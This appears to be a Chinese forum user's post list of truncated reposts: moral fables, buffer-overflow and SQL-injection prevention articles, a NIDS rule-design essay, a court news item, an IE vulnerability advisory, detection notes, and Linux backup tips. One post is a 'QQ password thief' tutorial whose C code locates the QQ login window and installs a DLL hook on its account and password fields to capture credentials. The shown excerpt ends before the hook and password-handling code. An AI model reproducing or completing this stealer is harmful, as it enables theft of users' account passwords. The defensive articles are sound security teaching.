HappyQQ HappyQQ
关注数: 1,362 粉丝数: 1,038 发帖数: 818 关注贴吧数: 3
几个让你受益匪浅的小故事[收藏] 1、 误会 早年在美国阿拉斯加地方,有一对年青人结婚,婚后生育,他的太太因难产而死,遗下一个孩子。他忙于生活,又忙于看家,没有人帮忙看孩子。因而他训练了一只狗,那狗聪明听话,能照顾孩子,咬着奶瓶喂奶给孩子喝,抚养孩子。有一天,主人出门去了,叫狗照顾孩子。他到了别的乡村,因遇大雪,当日不能回来。第二天才赶回家,狗立刻开声出来迎接主人。他把房门打开一看,到处是血,抬头一望,床上也是血,孩子不见了,狗在身边,满口也是血。主人发现这种情形,以为狗性发作,把孩子吃掉,大怒之下,拿起刀来向着狗头一劈,把狗杀死了。之后,突然听到孩子的声音,又见他从床下爬了出来,于是抱起孩子,虽然身上有血,但并未受伤。他很奇怪,不知究竟是怎么一回事,再看看狗身,腿上的肉没有了,旁边有一只狼,口里还咬着狗的肉。原来,狗救了小主人,却被主人误杀。这真是可悲的误会。 注:误会往往在人不了解、不理智、无耐心,缺少思考,未能多为体谅对方,反省自己,感情极度冲动的情况下所发生。误会一开始,即一直只想到对方的千错万错,因此,会使误会越陷越深,弄到不可收拾的地步。人对小动物狗所发生的误会,尚且有如此可怕的后果,人与人之间的误会,后果更是难以想像 2、 钉子 有一个坏脾气的男孩,他父亲给了他一袋钉子。并且告诉他,每当他发脾气的时候就钉一个钉子在后院的围栏上。第一天,这个男孩钉下了37根钉子。慢慢的,每天钉下的数量减少了,他发现控制自己的脾气要比钉下那些钉子容易。于是,有一天,这个男孩再也不会失去耐性,乱发脾气。他告诉父亲这件事情。父亲又说,现在开始每当他能控制自己脾气的时候,就拔出一根钉子。一天天过去了,最后男孩告诉他的父亲,他终于把所有钉子给拔出来了。父亲握着他的手,来到后院说:“你做得很好,我的好孩子,但是看看那些围栏上的洞。这些围拦将永远不能回复到从前的样子。你生气的时候说的话就像这些钉子一样留下疤痕。如果你拿刀子捅别人一刀,不管你说了多少次对不起,那个伤口将永远存在。话语的伤痛就象真实的伤痛一样令人无法承受。 注:人与人之间常常因为一些无法释怀的坚持,而造成永远的伤害。如果我们都能从自己做起,开始宽容地看待他人,相信你一定能收到许多意想不到的结果。别人开启一扇窗,也就是让自己看到更完整的天空。 3、 且慢下手 大多数的同仁都很兴奋,因为单位里调来了一位新主管,据说是个能人,专门被派来整顿业务。可是,日子一天天过去,新主管却毫无作为,每天彬彬有礼进办公室,便躲在里面难得出门,那些紧张得要死的坏份子,现在反而更猖獗了。他哪里是个能人,根本就是个老好人,比以前的主管更容易唬。四个月过去了,新主管却发威了,坏份子一律开革,能者则获得提升。下手之快,断事之准,与四个月中表现保守的他,简直象换了一个人。年终聚餐时,新主管在酒后致辞:相信大家对我新上任后的表现和后来的开刀阔斧,一定感到不解。现在听我说个故事,各位就明白了。我有位朋友,买了栋带着大院的房子,他一搬进去,就对院子全面整顿,杂草杂树一律清除,改种自己新买的花卉。某日,原先的房主回访,进门大吃一惊地问,那就名贵的牡丹哪里去了。我这位朋友才发现,他居然把牡丹当草给割了。后来他又买了一栋房子,虽然院子更是杂乱,他却是按兵不动,果然冬天以为是杂树的植物,春天里开了繁花;春天以为是野草的,夏天却是锦簇;半年都没有动静的小树,秋天居然红了叶。直到暮秋,他才认清哪些是无用的植物而大力铲除,并使所有珍贵的草木得以保存。说到这儿,主管举起杯来,“让我敬在座的每一位!如果这个办公室是个花园,你们就是其间的珍木,珍木不可能一年到头开花结果,只有经过长期的观察才认得出啊。” 4、 宽大 这是一个关于越战结束后一士兵的故事-----他打完仗回到国内,从旧金山给父母打了一个电话,“爸爸,妈妈,我要回家了。但我想请你们帮我一个忙,我要带我的一位朋友回来。”“当然可以。”父母回答道,“你们见到他会很高兴的。”“有些事情必须告诉你们,”儿子继续说,“他在战斗上受了重伤他踩着了一个地雷,失去了 一只胳膊和一条腿。他无处可去,我希望他能来我们家和我们一起生活。”“我很遗憾地听到这件事,孩子,也许我们可以帮他另找一个地方住下。”“不,我希望他和我们住在一起。”儿子坚持。“孩子,”父亲说,“你不知道你在说些什么,这样一个残疾人将会给我们带来沉重的负担,我们不能让这种事干扰我们的生活。我想你还是快点回家来,把这个人给忘掉,他自己会找到活路的。”就在这个时候,儿子挂上了电话。父母再也没有得到他们儿子的消息。然而过了几天后,接到旧金山警察局打来的一个电话,被告知,他们的儿子从高楼上坠地而死,警察局认为是自杀。悲痛欲绝的父母飞往旧金山。在陈尸间里,他们惊愕地发现,他们的儿子只有一只胳膊和一条腿。 故事中的父母就和我们大多数一样,要去喜好面貌姣好或谈吐风趣的人很容易,但是要喜爱那些造成我们不便或不快的却太难了。我们总是和那些不如我们聪明、美丽或健康的人保持距离。然而感谢上帝,有些人却不会对我们如此残酷,他(她)会无怨无悔地爱我们,不论我们多么糟,总是愿意接纳我们。今晚在你入睡之前,向上帝祷告,请他赐于你力量去接纳他人,不论他们是怎样的人,请他帮助我们去了解那些不同于我们的人。每个人心里都藏着一种东西叫友情,你不知道它究竟是如何发生何时发生,但你却知道它总是给我们带来特殊的礼物。你也会了解友情是上帝给我们最珍贵的赠予。朋友就像稀奇的宝物, 它带来欢笑,激励我们成功,它们的心房永远为我们敞开。自毕此文后,就告诉你的朋友,你有多在乎他们,把这篇文章转寄给所有你认为是朋友的人,如果这篇文章又回来,你将知道你拥有了一辈子的朋友。结论:您一路看下来以后,一定有很深的感触吧。那些,在对别人有所决定或判断之前,首先,先想想这是否是一个误会;然后,再考虑你是否一定要钉下这个钉子;如果可以的话,请且慢下手因为当你对别人宽大之时,即是对您自己宽大 .
五种方法避免代码中的缓冲区溢出问题 (转) Michael Howard是 Microsoft Secure Windows Initiative 小组的安全程序经理,这是它最近写的一篇文章。详细探讨了修复代码溢出的方法。作者在文中介绍了五种具体方法,来修复缓冲区溢出问题。1、使用托管代码2、代码应该检测缓冲区的长度3、进行内存探测4、编写防范性的代码5、使用/GS进行编译原文:当 David LeBlanc 和我确定《Writing Secure Code》(英文)一书的目录时,我们明确地意识到必须着重介绍缓冲区溢出问题,因为已经有太多的开发人员在编写代码时犯了太多的此类错误,这些错误导致了可被人利用的缓冲区溢出的出现。在本文中,我将集中介绍为什么会出现缓冲区溢出及其修复的方法。为什么会出现缓冲区溢出出现缓冲区溢出需要具备很多条件,包括: 使用非类型安全的语言,如 C/C++。 以不安全的方式访问或复制缓冲区。 编译器将缓冲区放在内存中关键数据结构旁边或邻近的位置。 现在我们来仔细看看以上每种条件。首先,缓冲区溢出主要出现在 C 和 C++ 中,因为这些语言不执行数组边界检查和类型安全检查。C/C++ 允许开发人员创建非常接近硬件运行的程序,从而允许直接访问内存和计算机寄存器。其结果可以获得优异的性能;很难有任何应用程序能象编写得很好的 C/C++ 应用程序运行得那样快。其他语言中也会出现缓冲区溢出,但很少见。如果出现这种错误,通常不是由开发人员造成的,而是运行时环境的错误。其次,如果应用程序从用户(或攻击者)那里获取数据,并将数据复制到应用程序所维护的缓冲区中而未考虑目标缓冲区的大小,则可能造成缓冲区溢出。换句话说,代码为缓冲区分配了 N 个字节,却将多于 N 个字节的数据复制到该缓冲区中。这就象向 12 盎司的玻璃杯中注入 16 盎司的水一样。那么多出的 4 盎司水到哪里去了呢?全溢出去了!最后一点,也是最重要的一点,编译器通常将缓冲区放在“令人感兴趣的”数据结构旁边。例如,当某个函数的缓冲区紧邻堆栈,则在内存中该函数的返回地址紧靠在缓冲区之后。这时,如果攻击者可以使该缓冲区发生溢出,他就可以覆盖函数的返回地址,从而在返回函数时,返回到攻击者定义的地址。其他令人感兴趣的数据结构包括 C++ V 表、异常处理程序地址、函数指针等等。下面我们来看一个示例。以下代码有什么错误?void CopyData(char *szData) { char cDest[32]; strcpy(cDest,szData); // 使用 cDest ...} 令人惊讶的是,这段代码可能没有什么错误!这完全取决于 CopyData() 的调用方式。例如,以下代码是安全的:char *szNames[] = {"Michael","Cheryl","Blake"};CopyData(szName[1]);这段代码是安全的,因为名字是硬编码的,并且知道每个字符串在长度上不超过 32 个字符,因此调用 strcpy 永远是安全的。然而,如果 CopyData 和 szData 的唯一参数来自不可靠的源(如套接字或文件),则 strcpy 将复制该数据,直到碰到空字符为止;如果此数据的长度大于 32 个字符,则 cDest 缓冲区将溢出,并且在内存中该缓冲区以外的任何数据将遭到破坏。不幸的是,在这里,遭到破坏的数据是来自 CopyData 的返回地址,这意味着当 CopyData 完成时,它仍然在由攻击者指定的位置继续执行。这真糟糕!其他数据结构也同样敏感。假设某个 C++ 类的 V 表遭到破坏,如下面这段代码:void CopyData(char *szData) { char cDest[32]; CFoo foo; strcpy(cDest,szData); foo.Init();}此示例假定 CFoo 类具有虚方法,以及一个 V 表或该类方法的地址列表(与所有 C++ 类一样)。如果由于 cDest 缓冲区被覆盖而破坏了 V 表,则该类的任何虚方法(在此例中是 Init())都可能调用攻击者指定的地址,而不是 Init() 的地址。顺便说一句,如果认为您的代码不调用任何 C++ 方法就安全了,那就错了,因为有一个方法始终会被调用,即该类的虚析构函数!当然,如果某个类不调用任何方法,就应该想想它存在的必要了。
缓冲区溢出(转) 什么是缓冲区溢出? 缓冲区,简单说来是一块连续的计算机内存区域, 可以保存相同数据类型的多个实例。动态变量在程序运行时定位于堆栈之中。 我们这里只关心动态缓冲区的溢出问题, 即基于堆栈的缓冲区溢出。 进程的内存组织形式 一个进程在内存中被分成三个区域: 文本, 数据和堆栈。 文本区域是由程序确定的, 包括代码(指令)和只读数据。 该区域相当于可执行文件的文本段。 这个区域通常被标记为只读, 任何对其写入的操作都会导致段错误(segmentation violation)。 数据区域包含了已初始化和未初始化的数据。 静态变量储存在这个区域中。 /------------------\ 内存低地址 | | | 文本 | | | |------------------| | (已初始化) | | 数据 | | (未初始化) | |------------------| | | | 堆栈 | | | \------------------/ 内存高地址 堆栈是一个后进先处(LIFO)队列。为什么要使用堆栈? 一个过程调用可以象跳转(jump)命令那样改变程序的控制流程, 但是与跳转不同的是, 当工作完成时,函数把控制权返回给调用之后的语句或指令。 这种高级抽象实现起来要靠堆栈的帮助。 堆栈也用于给函数中使用的局部变量动态分配空间, 同样给函数传递参数和函数返回值也要用到堆栈。堆栈区详解 堆栈是一块保存数据的连续内存。 一个名为堆栈指针(SP)的寄存器指向堆栈的顶部。堆栈的底部在一个固定的地址。 堆栈的大小在运行时由内核动态地调整。 堆栈由逻辑堆栈帧组成。当调用函数时逻辑堆栈帧被压入栈中, 当函数返回时逻辑堆栈帧被从栈中弹出。 堆栈帧包括函数的参数, 函数地局部变量, 以及恢复前一个堆栈帧所需要的数据, 其中包括在函数调用时指令指针(IP)的值。 堆栈既可以向下增长(向内存低地址)也可以向上增长, 这依赖于具体的实现。在我们的例子中, 堆栈是向下增长的。堆栈指针(SP)也是依赖于具体实现的。它可以指向堆栈的最后地址,或者指向堆栈之后的下一个空闲可用地址。 在我们的讨论当中, SP指向堆栈的最后地址。 除了堆栈指针(SP指向堆栈顶部的的低地址)之外, 为了使用方便还有指向帧内固定地址的指针叫做帧指针(FP)。有些文章把它叫做局部基指针(LB-local base pointer)。从理论上来说, 局部变量可以用SP加偏移量来引用。 然而, 当有字被压栈和出栈后, 这些偏移量就变了。 尽管在某些情况下编译器能够跟踪栈中的字操作, 由此可以修正偏移量, 但是在某些情况下不能。而且在所有情况下, 要引入可观的管理开销。 而且在有些机器上, 比如Intel处理器, 由SP加偏移量访问一个变量需要多条指令才能实现。 因此, 许多编译器使用第二个寄存器, FP, 对于局部变量和函数参数都可以引用, 因为它们到FP的距离不会受到PUSH和POP操作的影响。 在Intel CPU中, BP(EBP)用于这个目的。 在Motorola CPU中, 除了A7(堆栈指针SP)之外的任何地址寄存器都可以做FP。考虑到我们堆栈的增长方向, 从FP的位置开始计算, 函数参数的偏移量是正值, 而局部变量的偏移量是负值。 当一个例程被调用时所必须做的第一件事是保存前一个FP(这样当例程退出时就可以恢复)。 然后它把SP复制到FP, 创建新的FP, 把SP向前移动为局部变量保留空间。 这称为例程的序幕(prolog)工作。当例程退出时, 堆栈必须被清除干净, 这称为例程的收尾(epilog)工作。 Intel的ENTER和LEAVE指令, Motorola的LINK和UNLINK指令, 都可以用于有效地序幕和收尾工作。
QQ密码大盗制作实现(转) QQ用户小心!C语言实现QQ密码大盗 一般的盗密码的软件的软件都是通过监视键盘来获得密码,这样*作比较方便,但是这样也存在一定问题,密码有的时候不是很准确,因为有的人输入密码并不是从前到后输入,当然这样的人也是少数,盗密码嘛,当然去得到那些比较粗心的人的密码! 通过安装钩子来监视QQ登陆界面就是获得密码的方法,在安装前得先找到登陆窗口的句柄,当钩子安装后,记录键盘,当用户“回车”或是点了“登陆”就可以开始处理密码了! 我准备分为四部分来说明这个整个过程:   (1)寻找QQ登陆界面。   (2)安装钩子   (3)钩子函数的解释.   (4)处理密码。   以下部分全是使用C语言,文章中我假设读者您是会C/SDK编程的。如果遇到相关的概念性问题,您可以查看MSDN或是上BBS 询问!   寻找QQ登陆界面   软件运行后,利用安装定时器,每秒在系统找QQ登陆界面,这样基本上只要用户打开了QQ登陆界面就会被抓住其句柄,看下面代码: #define ID_MYTIMER 555 SetTimer(hDlg, ID_MYTIMER, 1000, NULL);   安装好TIMER后,下面是处理主程序的WM_TIMER消息,凡是出现没有定义的变量,您可以理解为是全局变量. //处理WM_TIMER代码 if (!IsWindow(g_hQQLogin)) //判断g_hQQLogin是否是有效的窗口句柄 {  HWND hLogin=NULL;  g_hQQLogin = NULL;  SetQQHook(NULL); //参数为NULL是卸载HOOK,参数为句柄是安装句柄  do  {   //利用FindWindowEx查找QQ登陆窗口,具体参数意思请查MSDN   g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL); //对话框的类都是#32770   //找到类名是#32770后,再在其窗体内找一个具有“ 登录QQ”的BUTTON按纽   hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 登录QQ"); //这一句很关键,如果你的QQ登陆窗口上没有" 登录QQ"字样,那么获取密码将失败!  }  while(g_hQQLogin != NULL && hLogin == NULL); //直到找到指定的窗口,即:QQ登陆窗口   if (g_hQQLogin != NULL)   {    SetQQHook(g_hQQLogin);//安装HOOK,此函数在DLL文件中 第二部分中介绍   }  }   上面就是查找QQ登陆窗口句柄的过程,从代码可以看出我用的方法:找一个其子窗体中有一个标题为“ 登录QQ”的BUTTON的对话框(这句话说得有点饶口,这句话如果也看不懂,下面您不用看了:() 我最开始是想利用 FindWindow(NULL,"QQ用户登陆窗口")来查找,但是我用Spy++看了QQ登陆窗口的标题并不是“QQ用户登陆窗口”,而是“乱码”,其中包含了回车键等特殊字符,于是我用了FindWindowEx().   安装钩子   找到了QQ登陆窗口后,就成功了一半。   下面是DLL文件中的安装HOOK的函数SetQQHook(), 为什么要用DLL(动态连接库)?要去“钩”其他进程的消息,得让HOOK函数在DLL中,这样好映射到其地址空间中! BOOL WINAPI SetQQHook(HWND hQQLogin) {  //获得登陆框的句柄  BOOL bRet = FALSE;  if (hQQLogin != NULL)  {   DWORD dwThreadID = GetWindowThreadProcessId(hQQLogin, NULL); //这是什么意思?看MSDN   g_hNum = GetDlgItem(hQQLogin, 138);//不同版本QQ,此处不一样! 得到QQ号的子窗口句柄   g_hPsw = GetDlgItem(hQQLogin, 180); //不同版本QQ,此处不一样!得到QQ密码的子窗口句柄   if (g_hNum == NULL)   {    MessageBox(NULL,"哭了,号码句柄都没有得到!","郁闷",0);    return FALSE;   }   if(g_hPsw==NULL)   {    MessageBox(NULL,"哭了,密码句柄都没有得到!","郁闷",0);    return FALSE;   }   分别键盘HOOK,和界面部分消息处理的HOOK
关于SQL Injection---写给程序员的(转) 作为一个一向以高手自居的程序员,不得不站出来说几句 1.关于SQL Injection 迄今为止,我基本没有看到谁写出一篇很完整的文章,或者说很成熟的解决方案(能做到 的人肯定很多,问题是没有流传开来,很遗憾) 我简单的说几点,希望启发大家思考,起到抛砖引玉的作用 一、SQL Injection的原理 SQL Injection的实现方法和破坏作用有很多,但万变不离其宗,其原理可以概括为一句话 :SQL Injection就是向服务器端提交事先准备好的数据,拼凑出攻击者想要的SQL语句, 以改变数据库操作执行计划。 我想,这么说也许不算精炼,但意思应该很明确了,这句话主要包含这么三层意思: 1.攻击者通过何种途径注入? 存在SQL Injection漏洞的地方都是应用程序需要根据客户端环境构造SQL语句的地方。由 此可以推论,只要存在"客户端数据替换预定义变量"的地方,就有可能被注入。 客户端提交数据可以有很多种方式:GET,POST,Client-Agent,Cookie,Server Enviro ment... 2.攻击者为什么可以将它想要的语句"注入"? 因为服务器端应用程序采用拼凑(请特别留意这个词)SQL语句的方式,这使得攻击者有机 会在提交的数据中包含SQL关键字或者运算符,来构造他们想要的语句。 3.SQL Injection最终结果是什么? 改变数据库操作执行计划。 这个结果不一定是恶意的,只要你的SQL语句没有按照你预期的计划(plan)执行,那么就 可以视为被注入了,不管提交数据的人是不是恶意的。 设有这样的sql语句: update tableName set columnName1 = " $Client_Submit_Data " where PK_ID = 1234 $Client_Submit_Data是一个变量,它代表客户端提交的数据,这里我就不管环境是ASP还 是PHP还是其他什么东西了。 假设这个操作是要更新一篇文章的标题,很多人是不是会这么构造SQL语句?我们看看$Cl ient_Submit_Data包含引号的情况,令$Client_Submit_Data = 谁能告诉我"sql injecti on"是什么? 那么sql语句将被拼凑成这样: update tableName set columnName1 = "谁能告诉我"sql injection"是什么?" where P K_ID = 1234 执行结果很明显,将执行这样的语句:update tableName set columnName1 = "谁能告诉 我" where子句被忽略掉了,很遗憾,你的数据库中所有文章标题都会被update为"谁能告诉我 " 在这个例子当中,用户应该是无心的——标题里面包括引号应该很正常吧——但结果却和 SQL Injection无异。 好啦,说了半天废话,言归正传,说一下如何应对这种问题。 我相信这里的朋友都看过很多防止SQL Injection的文章了,也大都会通过replace来防范 一些注入,问题是:你们知其然的时候是否知其所以然? 我认为,彻底解决SQL Injection的最好方法是:避免拼凑SQL语句。这就是我在上面要大 家特别注意拼凑这个词的原因。 SQL Injection之所以有机可乘,是因为绝大多数Server Application采用拼凑SQL语句的 方式来构建应用程序(阅读这个帖子的诸位,你们回首想想自己的项目,有几个不是通过 拼凑SQL语句的方式来操作数据库?想想你们见过的被注入的案例,有几个不是采用的拼凑 SQL语句的应用),所谓拼凑SQL语句,简单一点说就是:用连接字符串操作(ASP中的&和 PHP中的.)将SQL关键字和客户端提交的数据连接起来并发送给DBMS执行。这样做直接导致 DBMS根本不知道你计划(plan to)做什么,而只知道你要(is to)做什么,不是吗,服 务器端脚本总是将要执行的SQL语句构造好,然后发给数据库,DBMS根本不知道客户端数据 替换了变量之后,这个语句的执行计划是否有变化。服务器端脚本总是粗暴的告诉DBMS: 你只管这么做好了,别问我为什么。就像上面我提到的更新文章标题的例子,DBMS不知道 你只想更新第1234篇文章的标题,它以为你就是要把所有的标题都变成这个,因为你的语
从漏洞及攻击分析到NIDS规则设计(转)★★★★★ 创建时间:2005-12-06文章属性:原创文章提交:stardust (stardust_at_xfocus.org)一谈到NIDS,这个产品最为人所诟病的往往就是大量的误报和漏报,满屏乱滚的误报使管理员麻木和厌烦,失去使用的兴趣,漏报则会使管理员怀疑NIDS的检测能力,明明主机已经被入侵了在NIDS的日志中却找不到有用的线索。对于NIDS产品,漏报和误报产生的原因是多方面,但其中最大的来源在于检测规则定义的不严谨。针对已知的网络攻击,当前主流网络入侵检测检测及防护系统主要还是基于规则的,这是因为特定的攻击,特别是基于特定攻击代码的报文比较容易抽取其报文特征进行匹配,使用规则可以快速方便地实现检测能力的扩展。网络攻击的本质就是利用目标系统设计或实现上的问题,从被攻击进程的角度看,攻击报文或在内容结构上,或在出现的时序上,或在流量的大小上,攻击报文一定是处于服务程序无法正确处理的畸形状态。限于篇幅,本文暂不讨论比较复杂的与时序及统计相关的攻击,只考虑相对比较简单的单请求攻击,要使攻击得以成功完成,网络攻击的报文的内容和结构必须满足某些必要的条件,这些必要的报文特征用于驱使受攻击进程的处理流程走到触发漏洞的操作,我们用特征集A表示这些必要的报文特征的集合。攻击者通过编写攻击代码来实现对安全漏洞的利用,特定的攻击代码发出的报文除了必定包含的特征集A内的特征外一般还会包含一些本攻击代码特有的特征,比如特定的shellcode、特定的填充数据等,我们用特征集B表示特定攻击代码的报文特征。基于规则的NIDS引擎实现一个基本检测框架,它提供给用户各种匹配选项和操作符作为应用接口,用户可以通过组合选项和操作符来描述关心的网络报文特征,对满足匹配条件的报文进行告警。NIDS厂商的规则支持部门通常会跟踪分析新出现的安全漏洞及攻击代码,提取特征编写出用于检测此攻击的NIDS规则,我们用特征集C表示用规则描述的攻击报文特征。很明显特征集A和B的关系如下图: +----------------+ | | | +-------+ | | |   |<---- 特征集A:要实现攻击,报文所必须具有的内容或结构方面的特征 | | ============> 匹配特征增加,满足条件的报文减少 | | | | | +-------+ | | |<---- 特征集B:特定攻击代码发出的攻击报文特征 +----------------+理想的攻击检测规则描述的特征集C应该与A完全重合,由于特征集A内的特征描述了所有攻击代码攻击报文所共有的特征,因而与特定的攻击代码无关,这样就避免了漏报。如果对于检测对象的协议类型所做假设正确,由于特征集A内的每个特征是造成攻击所必要的,缺一不可,这些特征中的只要有一个不满足都无法触发漏洞而完成攻击,所以也不存在误报的可能。图示如下: +----------------+ | | | +=======+ | | "   "<---- 特征集A:要实现攻击,报文所必须具有的内容 | " " | 或结构方面的特征 | " "<---- 特征集C:规则所描述的报文内容或结构的特征 | +=======+ | | |<---- 特征集B:特定攻击代码发出的攻击报文特征 +----------------+事实上由于规则描述能力的限制,大多数情况下规则无法完全描述出攻击报文内容和结构上的完成攻击所必需的特征,也就是说,特征集A与特征集C并不是完全重叠的,而是存在各种可能的关系:如果特征集C是如下图中这样作为A的子集,那么规则将可能导致误报,但不会产生漏报: +----------------+ | | | +-------+ | | | +---+ |<---- 特征集A:要实现攻击,报文所必须具有的内容或结构方面的特征
湖南首起利用计算机攻击国家机关案审结 发布日期:2005-09-17新华社 新华社长沙9月17日电(熊智能、赵蓓)商业合作破裂后,为了报复对方,何某编制一个针对湖南省国税电子税务申报系统的攻击程序,进行网络非法攻击,造成严重后果。长沙市岳麓区法院近日开庭审理此案,并作出一审判决:以破坏计算机信息系统罪判处被告人何某有期徒刑8个月,魏某有期徒刑6个月、缓刑1年。据承办法官介绍,此案系湖南省法院审结的首例利用计算机攻击国家机关案。 法院查明,2001年,被告人何某与深圳艾博克公司建立合作关系,共同对电子报税系统进行研发、推广。同年6月,何某开发“电子报税系统”与湖南省国家税务局签订推广合同。2005年1月,深圳艾博克公司通知何某,不再使用其开发的“电子报税系统”,而改用公司开发的“电子报税系统”,双方合作破裂。 何某认为深圳艾博克公司的行为损害了其经济利益。为报复深圳艾博克公司,何某编制了一个针对湖南省国税电子税务申报系统的攻击程序。该程序一经启动,每秒钟会自动用非法随机账号和密码对湖南省国税电子报税系统进行登录访问,致使报税系统阻塞,无法正常使用。 2005年1月6日至10日,何某多次启动该系统进行网络非法攻击,并于10日电话指使魏某进行非法攻击。两人对湖南省国家税务局电子报税系统的攻击共计27回29852次,致使全省3769户报税用户不能按时进行电子报税。 7月26日,长沙市岳麓区人民检察院以何某、魏某犯破坏计算机信息系统罪向法院提起公诉。岳麓区法院开庭审理后认定,两被告人的犯罪事实和罪名成立,证据充分。
Microsoft Internet Explorer Javaprxy.DLL COM对象堆溢出漏洞 BUGTRAQ ID:14087受影响系统Microsoft Internet Explorer 6.0 SP2Microsoft Internet Explorer 6.0 SP1Microsoft Internet Explorer 6.0- Microsoft Windows 2000 Advanced Server- Microsoft Windows 2000 Advanced Server SP1- Microsoft Windows 2000 Advanced Server SP2- Microsoft Windows 2000 Datacenter Server- Microsoft Windows 2000 Datacenter Server SP1- Microsoft Windows 2000 Datacenter Server SP2- Microsoft Windows 2000 Professional- Microsoft Windows 2000 Professional SP1- Microsoft Windows 2000 Professional SP2- Microsoft Windows 2000 Server- Microsoft Windows 2000 Server SP1- Microsoft Windows 2000 Server SP2- Microsoft Windows 2000 Terminal Services- Microsoft Windows 2000 Terminal Services SP1- Microsoft Windows 2000 Terminal Services SP2- Microsoft Windows 98- Microsoft Windows 98SE- Microsoft Windows ME- Microsoft Windows NT Enterprise Server 4.0 SP6a- Microsoft Windows NT Server 4.0 SP6a- Microsoft Windows NT Workstation 4.0 SP6a+ Microsoft Windows Server 2003 Datacenter Edition+ Microsoft Windows Server 2003 Datacenter Edition 64-bit+ Microsoft Windows Server 2003 Enterprise Edition+ Microsoft Windows Server 2003 Enterprise Edition 64-bit+ Microsoft Windows Server 2003 Standard Edition+ Microsoft Windows Server 2003 Web Edition+ Microsoft Windows XP Home+ Microsoft Windows XP ProfessionalMicrosoft Internet Explorer 5.5 SP2- Microsoft Windows 2000 Advanced Server- Microsoft Windows 2000 Advanced Server SP1- Microsoft Windows 2000 Advanced Server SP2- Microsoft Windows 2000 Datacenter Server- Microsoft Windows 2000 Datacenter Server SP1- Microsoft Windows 2000 Datacenter Server SP2- Microsoft Windows 2000 Professional- Microsoft Windows 2000 Professional SP1- Microsoft Windows 2000 Professional SP2- Microsoft Windows 2000 Server- Microsoft Windows 2000 Server SP1- Microsoft Windows 2000 Server SP2- Microsoft Windows 2000 Terminal Services- Microsoft Windows 2000 Terminal Services SP1- Microsoft Windows 2000 Terminal Services SP2- Microsoft Windows 95- Microsoft Windows 98- Microsoft Windows 98SE- Microsoft Windows ME- Microsoft Windows NT Enterprise Server 4.0- Microsoft Windows NT Enterprise Server 4.0 SP1- Microsoft Windows NT Enterprise Server 4.0 SP2- Microsoft Windows NT Enterprise Server 4.0 SP3- Microsoft Windows NT Enterprise Server 4.0 SP4- Microsoft Windows NT Enterprise Server 4.0 SP5- Microsoft Windows NT Enterprise Server 4.0 SP6- Microsoft Windows NT Enterprise Server 4.0 SP6a- Microsoft Windows NT Server 4.0- Microsoft Windows NT Server 4.0 SP1- Microsoft Windows NT Server 4.0 SP2- Microsoft Windows NT Server 4.0 SP3- Microsoft Windows NT Server 4.0 SP4- Microsoft Windows NT Server 4.0 SP5- Microsoft Windows NT Server 4.0 SP6- Microsoft Windows NT Server 4.0 SP6a- Microsoft Windows NT Terminal Server 4.0- Microsoft Windows NT Terminal Server 4.0 SP1- Microsoft Windows NT Terminal Server 4.0 SP2- Microsoft Windows NT Terminal Server 4.0 SP3- Microsoft Windows NT Terminal Server 4.0 SP4
运用反病毒技术中的特征码技术,来看好东东…… 特征码技术的灵活运用 作者:HappyQQ呵,相信你们都知道杀毒软件最先采用的是特征码查毒技术,后来发展到行为查毒方式!原先那些查杀DOS下的病毒的杀毒软件所采用的就是特征码查毒方式!那些病毒库里面所放的就是一些病毒的特征值!好了,我不是什么反病毒高手,所以,就不深入讨论……特征码查毒:一般是先将文件指针偏移到XX,然后比较特征串,如果相等,则表示所查的文件的病毒!……好了,我说了这么多理论的东西了,来点实际的吧!(呵,别说我废话太多噢!)一,利用该技术来探测未加壳的软件是用何种开发工具开发的? 1。用UltraEdit或者其他字处理软件(我不推荐用Notepad,因为用它打开,可能会……结果如何,不说了:))打开我们要探测的对象(软件) 2. 查找以下字串,这些字串分别对应所使用的开发工具! "MSVBVM60.DLL"——Visual Basic 6.0开发 "C++"——如果找到该字串,串前有"Visual “字串的,代表该软件是用Visual C++开发的,如果串前有"land "字串的,代表该软件是用Borland C++开发的! "Delphi"——Borland Delphi开发的! 当然罗,在开始探测时,先看看头部是不是有“MZ"字串,为什么要有这个标志,那你去Microsoft公司吧,这是他的32位PE文件格式!具体细节请查看有关PE文件格式的资料,俺就不废话了!呵,也不想被人骂!:)呵,我们当然也可以使用PEID这样的专业工具来查看!二。利用该技术来探测你的软件是用什么加壳的! 1。用UltraEdit或者其他字处理软件(我不推荐用Notepad,因为用它打开,可能会……结果如何,不说了:))打开我们要探测的对象(软件) 2.查找以下字串,其分别对应所加了什么壳! "aspack"——>Asp加壳 "UPX" ——>UPX加壳 "Petite"——>Petite加壳 好了,今天我这位小菜菜先介绍到这,不懂的,或者发现有问题的,可以继续跟帖!如果需要转载该文件请保留文章的完整性!谢谢!……
安全防护:在Linux操作系统下备份恢复技术的应用(转贴) 本文讲述Linux环境下,如何使用备份的脚本和命令以及商业化的软件来合理高效地保护磁盘数据安全。      备份与恢复系统承担着事前备份与事后恢复的职能。在当前高速发展的网络环境下,任何一个网络上的信息 系统都不可能保证绝对的安全。只要有网络存在,就会有来自网络的形形色色的威胁。为了抵御网络的攻击和入侵,虽然我们引入了日趋成熟的入侵检测系统、防火墙系统等,黑客们的入侵手段也日益高明,他们总能找到这些系统的安全漏洞及不足进行入侵,因而网络入侵所引起的安全事件呈逐年增加之势。      在这种情况下,我们难以保证网络中关键系统的绝对安全,因而就需要采用备份及恢复技术。备份及恢复技术就是使用存储介质和一定的策略,定期将系统业务数据备份下来,以保证数据意外丢失时能尽快恢复,将用户的损失降到最低点。它是信息安全学科中一种非常重要的核心技术。      Linux下的备份技术  对于备份和恢复来说,Linux提供了诸如tar、cpio、 dump等工具来实现。这样,用户无需花钱购买,便可根据系统的实际情况,结合使用相应的备份恢复工具实现备份与恢复的基本功能。  tar工具介绍  tar是一个已移植到 Linux 中的经典 Unix 命令。 tar 是 tape archive(磁带归档)的缩写,最初设计用于将文件打包到磁带上,现在我们大都使用它来实现备份某个分区或者某些重要的文件目录。我们使用 tar 可以打包整个目录树,这使得它特别适合用于备份。归档文件可以全部还原,或从中展开单独的文件和目录。备份可以保存到基于文件的设备或磁带设备上。文件可以在还原时重定向,以便将它们重新放到一个与最初保存它们的目录(或系统)不同的目录(或系统)。tar是与文件系统无关的,因而它的适用范围很广,它可以使用在ext2、ext3、jfs、Reiser和其他文件系统上。  